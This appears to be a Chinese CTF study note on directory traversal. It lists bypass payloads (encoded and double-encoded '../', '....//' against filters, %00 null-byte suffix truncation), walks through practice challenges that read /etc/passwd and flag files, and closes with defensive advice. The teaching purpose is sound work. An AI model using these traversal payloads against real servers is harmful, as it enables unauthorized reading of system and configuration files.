409 字
2 分钟
目录遍历
一:定义:
目录遍历漏洞(Directory Traversal)是指用户通过构造特殊路径参数,访问服务器上未授权的文件或目录,如配置文件、源码、flag等
二:常见绕过方法
- 编码绕过
../ → %2e%2e/../../ → ..%2f..%2f..%c0%af..%ef%bc%8f多层编码:
%252e%252e%252f (双重编码)-
替代分隔符
-
Windows:
..\ -
Linux:
../ -
URL兼容写法:
..\\、....//、..;/ -
过滤绕过
-
若过滤
../,可用:
....// → ../..%2f..%2f..\/..\/- 若添加白名单后缀(如
.php):
?file=../../../../flag.txt%00?file=../../../../flag.txt%00.php三:练习
1

提示图片加载存在问题,打开图片抓包

使用相对路径穿越
2
同样的题目抓包

使用绝对路径穿越

使用…//绕过
后端可能使用黑名单 s.replace(”../”,"") 使用双重../替换后变成../
4

双重 url 编码绕过


发现文件路径以指定的文件夹开头,不能直接使用/etc/passwd 读取

就以指定文件夹开头,依旧可以通过目录穿越到达指定路径

发现穿越不了,可能是后端检查了文件名后缀

使用%00 截断后缀名,在使用 c 库 时,c 会将 \0 当作字符串的结束符,从而导致后缀名没被读取
-
%00(URL编码) == NUL 字节 (0x00) == ‘\0’ / ‘\x00’(字符串转义) -
如果用户输入最终被传给以 NUL 结尾的 C 字符串 API,会在遇到 NUL 时被截断(截断后缀)。
-
现代语言层面通常不以 NUL 截断,但若中间某个扩展/底层函数用 C 风格处理则可能受影响。
-
防御:在任何路径处理前检测并拒绝 NUL(‘\x00’),完整解码并 canonicalize,使用白名单/映射。